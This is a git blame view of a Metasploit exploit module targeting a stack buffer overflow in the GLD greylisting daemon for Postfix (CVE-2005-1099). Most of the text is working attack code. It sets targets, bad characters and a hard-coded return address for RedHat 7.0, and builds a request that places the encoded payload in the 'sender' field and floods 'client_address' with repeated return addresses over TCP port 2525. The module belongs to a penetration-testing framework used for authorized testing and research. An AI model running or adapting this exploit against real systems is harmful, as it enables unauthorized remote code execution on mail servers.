Files
metasploit-gs/modules/exploits/linux/misc/gld_postfix.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

69 lines
1.7 KiB
Ruby
Raw Normal View History

2008-06-07 02:16:34 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-06-07 02:16:34 +00:00
##
2017-07-14 08:46:59 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GoodRanking
2008-06-07 02:16:34 +00:00
include Msf::Exploit::Remote::Tcp
2008-06-07 02:16:34 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'GLD (Greylisting Daemon) Postfix Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Salim Gasmi
GLD <= 1.4 greylisting daemon for Postfix. By sending an
overly long string the stack can be overwritten.
},
'Author' => [ 'aushack' ],
'Arch' => ARCH_X86,
'Platform' => 'linux',
'References' => [
2008-06-07 02:16:34 +00:00
[ 'CVE', '2005-1099' ],
[ 'OSVDB', '15492' ],
2008-06-07 02:16:34 +00:00
[ 'BID', '13129' ],
2012-06-28 14:27:12 -05:00
[ 'EDB', '934' ]
2008-06-07 02:16:34 +00:00
],
2025-06-20 13:20:44 +01:00
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' => {
2008-06-07 02:16:34 +00:00
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20=",
'StackAdjustment' => -3500,
},
2025-06-20 13:20:44 +01:00
'Targets' => [
2008-06-07 02:16:34 +00:00
[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2005-04-12',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2008-06-07 02:16:34 +00:00
register_options(
[
Opt::RPORT(2525)
],
self.class
)
end
2008-06-07 02:16:34 +00:00
def exploit
connect
2025-06-20 13:20:44 +01:00
sploit = "sender=" + payload.encoded + "\r\n"
2008-06-07 02:16:34 +00:00
sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"
sock.put(sploit)
handler
disconnect
end
end